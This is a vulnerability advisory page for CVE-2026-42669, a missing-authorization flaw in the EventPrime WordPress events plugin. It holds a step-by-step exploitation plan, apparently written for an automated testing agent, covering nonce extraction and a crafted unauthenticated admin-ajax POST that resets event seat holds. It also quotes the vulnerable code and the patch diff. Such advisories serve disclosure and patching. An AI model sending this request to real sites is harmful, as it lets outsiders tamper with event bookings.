EventPrime – Events Calendar, Bookings and Tickets <= 4.3.2.0 - Missing Authorization
Description
The EventPrime – Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.3.2.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.3.2.0What Changed in the Fix
Changes introduced in v4.3.2.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-42669 ## 1. Vulnerability Summary The **EventPrime – Events Calendar, Bookings and Tickets** plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including 4.3.2.0. Specifically, the function `cancel_current_booking_process` i…
Show full research plan
Exploitation Research Plan - CVE-2026-42669
1. Vulnerability Summary
The EventPrime – Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 4.3.2.0. Specifically, the function cancel_current_booking_process in includes/class-ep-ajax.php lacks a capability check (e.g., current_user_can()). This function is intended to release seats held during a booking process. Because it is likely registered as a wp_ajax_nopriv action (to allow guest users to cancel their sessions), any unauthenticated attacker who obtains a valid nonce can trigger this function to manipulate event seating data, specifically resetting seat statuses in the database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ep_cancel_current_booking_process(Inferred from function namecancel_current_booking_processand common plugin prefix). - Parameters:
action:ep_cancel_current_booking_processsecurity: A nonce associated with theevent-registration-form-nonceaction.event_id: The ID of the target event (post typeem_event).ticket_data: A JSON-encoded string containing area and seat UID information.
- Authentication: Unauthenticated (if
noprivis registered). - Preconditions:
- The
EventM_Live_Seating_List_Controllerclass must exist (typically part of the Live Seating extension). - The target event must have seating data stored in the
em_seat_datapost meta.
- The
3. Code Flow
- Entry Point: The AJAX handler for
ep_cancel_current_booking_processis triggered viaadmin-ajax.php. - Nonce Check:
includes/class-ep-ajax.php:14callswp_verify_nonce( $_POST['security'], 'event-registration-form-nonce' ). - Class Check: Line 19 checks
class_exists( 'EventM_Live_Seating_List_Controller' ). - Data Retrieval: Line 23 retrieves existing seating data:
get_post_meta( $event_id, 'em_seat_data', true ). - Modification: The code iterates through the user-provided
ticket_data(Line 28). If a matching seat is found and itstypeis'hold', it resets the seat:typebecomes'general'hold_timebecomes''seatColoris set to the available color from the plan.
- Sink: Line 73 calls
update_post_meta( $event_id, 'em_seat_data', maybe_serialize( $event_seat_data ) ), updating the database with the modified object.
4. Nonce Acquisition Strategy
The nonce event-registration-form-nonce is required. It is typically localized for the frontend booking page when a user views an event with seating enabled.
- Identify Localization: Search the codebase for
event-registration-form-nonceto find thewp_localize_scriptcall. It is likely localized into a global JS object likeep_event_bookingoreventprime. - Create Target Content: Create an event and a page containing the booking shortcode if necessary.
wp post create --post_type=em_event --post_title="Vulnerable Event" --post_status=publish - Navigate and Extract:
- Use
browser_navigateto visit the single event page. - Use
browser_evalto extract the nonce. Based on common plugin patterns:window.ep_event_booking?.security // Or search for the key associated with 'event-registration-form-nonce'
- Use
5. Exploitation Strategy
Step 1: Payload Construction
The ticket_data parameter must be a JSON array of objects.
Structure:
[
{
"seats": [
{
"area_id": "1",
"seat_data": [
{ "uid": "0-0" }
]
}
]
}
]
Note: uid format is row-column (e.g., 0-0).
Step 2: HTTP Request
Submit the request via http_request.
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=ep_cancel_current_booking_process&security=[NONCE]&event_id=[EVENT_ID]&ticket_data=[JSON_PAYLOAD]
6. Test Data Setup
To demonstrate the modification of post meta, we must simulate a "hold" status in the database:
- Create Event: Use WP-CLI to create an
em_event. - Set Seating Meta:
# Create a dummy seating object where seat 0-0 in area 1 is 'hold' # Structure based on class-ep-ajax.php logic php -r '$data = new stdClass(); $data->{"1"} = new stdClass(); $data->{"1"}->seats = [0 => [0 => (object)["col" => 0, "type" => "hold", "hold_time" => "123456", "seatColor" => "#ff0000"]]]; echo serialize($data);' > /tmp/seat_meta.txt wp post meta update [EVENT_ID] em_seat_data --file=/tmp/seat_meta.txt - Mock Controller Class: If the "Live Seating" extension is not installed, use
wp evalto define a dummyEventM_Live_Seating_List_Controllerclass so theclass_existscheck passes.
7. Expected Results
- Response: The server should return
{"success":true,"data":true}(the result ofupdate_post_meta). - Data Change: The
em_seat_datameta for the event will be updated. Specifically, the seat at0-0will change fromtype: "hold"totype: "general".
8. Verification Steps
After the exploit, verify the database state using WP-CLI:
wp post meta get [EVENT_ID] em_seat_data
The output should show the seat type as general and hold_time as an empty string.
9. Alternative Approaches
If the ep_cancel_current_booking_process action name is incorrect, verify the registered AJAX actions using:
wp eval 'global $wp_filter; print_r(array_keys($wp_filter["wp_ajax_nopriv_"] ?? []));'
Look for actions containing cancel or booking.
If the class check EventM_Live_Seating_List_Controller cannot be bypassed, the exploit still demonstrates "Unauthorized Access" to the function logic, but the response will be {"success":true,"data":"not a seated event"}. This still proves the missing capability check.
Summary
The EventPrime plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the cancel_current_booking_process function. This allows unauthenticated attackers to manipulate event seating data, specifically resetting seat statuses from 'hold' to 'available' in the database.
Vulnerable Code
// includes/class-ep-ajax.php:10 public function cancel_current_booking_process() { // Add security checks if( wp_verify_nonce( $_POST['security'], 'event-registration-form-nonce' ) ) { $event_id = absint( $_POST['event_id'] ); $ticket_data = json_decode( stripslashes( $_POST['ticket_data'] ) ); if ( ! class_exists( 'EventM_Live_Seating_List_Controller' ) ) { wp_send_json_success( 'not a seated event' ); } $event_seat_data = get_post_meta( $event_id, 'em_seat_data', true ); if( ! empty( $event_seat_data ) ) { // ... (truncated loop logic resetting seat status) ... $update = update_post_meta( $event_id, 'em_seat_data', maybe_serialize( $event_seat_data ) ); wp_send_json_success($update); } else { wp_send_json_success('not a seated event'); } } else { wp_send_json_error( array( 'message' => esc_html__( 'Security check failed. Please refresh the page and try again later.', 'eventprime-event-seating' ) ) ); } }
Security Fix
@@ -16,7 +16,7 @@ * Plugin Name: EventPrime – Modern Events Calendar, Bookings and Tickets * Plugin URI: https://theeventprime.com * Description: Beginner-friendly Events Calendar plugin to create free as well as paid Events. Includes Event Types, Event Sites & Performers too. - * Version: 4.3.2.0 + * Version: 4.3.2.1 * Author: EventPrime Event Calendar * Author URI: https://theeventprime.com/ * License: GPL-2.0+ @@ -35,7 +35,7 @@ * Start at version 1.0.0 and use SemVer - https://semver.org * Rename this for your plugin and update it as you release new versions. */ -define( 'EVENTPRIME_VERSION', '4.3.2.0' ); +define( 'EVENTPRIME_VERSION', '4.3.2.1' ); define('EM_DB_VERSION',4.0); if( ! defined( 'EP_PLUGIN_FILE' ) ) { define( 'EP_PLUGIN_FILE', __FILE__ ); @@ -545,12 +545,14 @@ - $response->item_total = (float)$data['ep_event_booking_total_tickets']; - - // $redirect = esc_url( add_query_arg( array( 'order_id' => $new_post_id ), get_permalink( ep_get_global_settings( 'booking_details_page' ) ) ) ); - $redirect = add_query_arg( array( 'order_id' => $new_post_id ), esc_url( get_permalink( $ep_functions->ep_get_global_settings( 'booking_details_page' ) ) ) ); - $response->redirect = apply_filters( 'ep_booking_redirection_url', $redirect, $new_post_id ); - wp_send_json_success( $response ); + $response->item_total = (float)$data['ep_event_booking_total_tickets']; + $response->flush_booking_timer_nonce = wp_create_nonce( 'flush_event_booking_timer_nonce' ); + $response->order_key = get_post_meta( $new_post_id, 'ep_order_key', true ); + + // $redirect = esc_url( add_query_arg( array( 'order_id' => $new_post_id ), get_permalink( ep_get_global_settings( 'booking_details_page' ) ) ) ); + $redirect = add_query_arg( array( 'order_id' => $new_post_id ), esc_url( get_permalink( $ep_functions->ep_get_global_settings( 'booking_details_page' ) ) ) ); + $response->redirect = apply_filters( 'ep_booking_redirection_url', $redirect, $new_post_id ); + wp_send_json_success( $response ); } else{ wp_send_json_error( array( 'error' => esc_html__( 'Security check failed. Please refresh the page and try again later.', 'eventprime-event-calendar-management' ) ) ); } @@ -571,55 +573,67 @@ - public function paypal_sbpr() { - if ( ! check_ajax_referer( 'flush_event_booking_timer_nonce', 'security', false ) ) { - wp_send_json_error( array( 'error' => esc_html__( 'Security check failed. Please refresh the page and try again later.', 'eventprime-event-calendar-management' ) ) ); - } - - if ( empty( $_POST ) ) { - wp_send_json_error( array( 'error' => esc_html__( 'Data Not Found', 'eventprime-event-calendar-management' ) ) ); - } - - $ep_functions = new Eventprime_Basic_Functions; - $data = $ep_functions->ep_sanitize_input( $_POST['data'] ?? array() ); - if ( ! is_array( $data ) ) { - wp_send_json_error( array( 'error' => esc_html__( 'Invalid payment data.', 'eventprime-event-calendar-management' ) ) ); - } - $booking_id = absint( $_POST['order_id'] ?? 0 ); - - $payment_amount = $data['purchase_units'][0]['amount']['value'] ?? ''; - $paypal_order_id = isset( $data['id'] ) ? sanitize_text_field( $data['id'] ) : ( isset( $data['order_id'] ) ? sanitize_text_field( $data['order_id'] ) : '' ); - - if ( empty( $booking_id ) || empty( $data ) || $payment_amount === '' ) { - wp_send_json_error( array( 'error' => esc_html__( 'Invalid payment data.', 'eventprime-event-calendar-management' ) ) ); - } - - $order_info = maybe_unserialize( get_post_meta( $booking_id, 'em_order_info', true ) ); - $booking_status = get_post_meta( $booking_id, 'em_status', true ); - $booking_user = absint( get_post_meta( $booking_id, 'em_user', true ) ); - - if ( ! empty( $booking_user ) && get_current_user_id() !== $booking_user ) { - wp_send_json_error( array( 'error' => esc_html__( 'You are not allowed to confirm this booking.', 'eventprime-event-calendar-management' ) ) ); - } - - if ( empty( $order_info['booking_total'] ) ) { - wp_send_json_error( array( 'error' => esc_html__( 'Payment amount mismatch.', 'eventprime-event-calendar-management' ) ) ); - } + public function paypal_sbpr() { + $booking_id = absint( $_POST['order_id'] ?? 0 ); + $request_order_key = isset( $_POST['order_key'] ) ? sanitize_text_field( $_POST['order_key'] ) : ''; + $stored_order_key = ! empty( $booking_id ) ? get_post_meta( $booking_id, 'ep_order_key', true ) : ''; + $is_valid_nonce = check_ajax_referer( 'flush_event_booking_timer_nonce', 'security', false ); + $is_valid_order_key = ( ! empty( $stored_order_key ) && ! empty( $request_order_key ) && hash_equals( (string) $stored_order_key, (string) $request_order_key ) ); + + if ( empty( $_POST ) ) { + wp_send_json_error( array( 'error' => esc_html__( 'Data Not Found', 'eventprime-event-calendar-management' ) ) ); + } + + $ep_functions = new Eventprime_Basic_Functions; + $data = $ep_functions->ep_sanitize_input( $_POST['data'] ?? array() ); + if ( ! is_array( $data ) ) { + wp_send_json_error( array( 'error' => esc_html__( 'Invalid payment data.', 'eventprime-event-calendar-management' ) ) ); + } + $payment_amount = $data['purchase_units'][0]['amount']['value'] ?? ''; + $paypal_order_id = isset( $data['id'] ) ? sanitize_text_field( $data['id'] ) : ( isset( $data['order_id'] ) ? sanitize_text_field( $data['order_id'] ) : '' ); + + if ( empty( $booking_id ) || empty( $data ) || $payment_amount === '' ) { + wp_send_json_error( array( 'error' => esc_html__( 'Invalid payment data.', 'eventprime-event-calendar-management' ) ) ); + } + + $order_info = maybe_unserialize( get_post_meta( $booking_id, 'em_order_info', true ) ); + $booking_status = get_post_meta( $booking_id, 'em_status', true ); + $booking_user = absint( get_post_meta( $booking_id, 'em_user', true ) ); + $stored_random_order_id = sanitize_text_field( (string) get_post_meta( $booking_id, 'em_random_order_id', true ) ); + + if ( empty( $order_info['booking_total'] ) ) { + wp_send_json_error( array( 'error' => esc_html__( 'Payment amount mismatch.', 'eventprime-event-calendar-management' ) ) ); + } if ( ! empty( $booking_status ) && strtolower( $booking_status ) === 'completed' ) { wp_send_json_error( array( 'error' => esc_html__( 'Booking already completed.', 'eventprime-event-calendar-management' ) ) ); } - $verify = $this->verify_paypal_order( $paypal_order_id, $order_info['booking_total'], $ep_functions->ep_get_global_settings( 'currency' ), $booking_id ); - if ( is_wp_error( $verify ) ) { - wp_send_json_error( array( 'error' => $verify->get_error_message() ) ); - } - - $payment_status = strtolower( $verify['status'] ); - $payment_amount = $verify['amount']; + $verify = $this->verify_paypal_order( $paypal_order_id, $order_info['booking_total'], $ep_functions->ep_get_global_settings( 'currency' ), $booking_id ); + if ( is_wp_error( $verify ) ) { + wp_send_json_error( array( 'error' => $verify->get_error_message() ) ); + } + + $verified_random_order_id = sanitize_text_field( $verify['custom_id'] ?? '' ); + $is_verified_random_order = ( ! empty( $stored_random_order_id ) && ! empty( $verified_random_order_id ) && hash_equals( (string) $stored_random_order_id, (string) $verified_random_order_id ) ); + + if ( ! empty( $stored_random_order_id ) && ! $is_verified_random_order ) { + wp_send_json_error( array( 'error' => esc_html__( 'You are not allowed to confirm this booking.', 'eventprime-event-calendar-management' ) ) ); + } + + if ( ! empty( $booking_user ) && get_current_user_id() !== $booking_user && ! $is_valid_order_key && ! $is_verified_random_order ) { + wp_send_json_error( array( 'error' => esc_html__( 'You are not allowed to confirm this booking.', 'eventprime-event-calendar-management' ) ) ); + } + + if ( ! $is_valid_nonce && ! $is_valid_order_key && ! $is_verified_random_order ) { + wp_send_json_error( array( 'error' => esc_html__( 'Security check failed. Please refresh the page and try again later.', 'eventprime-event-calendar-management' ) ) ); + } + + $payment_status = strtolower( $verify['status'] ); + $payment_amount = $verify['amount'];
Exploit Outline
The exploit targets the `/wp-admin/admin-ajax.php` endpoint using the `ep_cancel_current_booking_process` action. An unauthenticated attacker first obtains a valid `event-registration-form-nonce` from an event booking page. They then send a POST request containing the nonce, a target `event_id`, and a JSON-encoded `ticket_data` object specifying seat UIDs (e.g., "0-0") and areas. Because the AJAX handler only verifies the nonce and fails to perform any capability checks (e.g., `current_user_can()`), the server proceeds to update the `em_seat_data` post meta in the database, effectively releasing seat holds or resetting seating configuration for any event.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.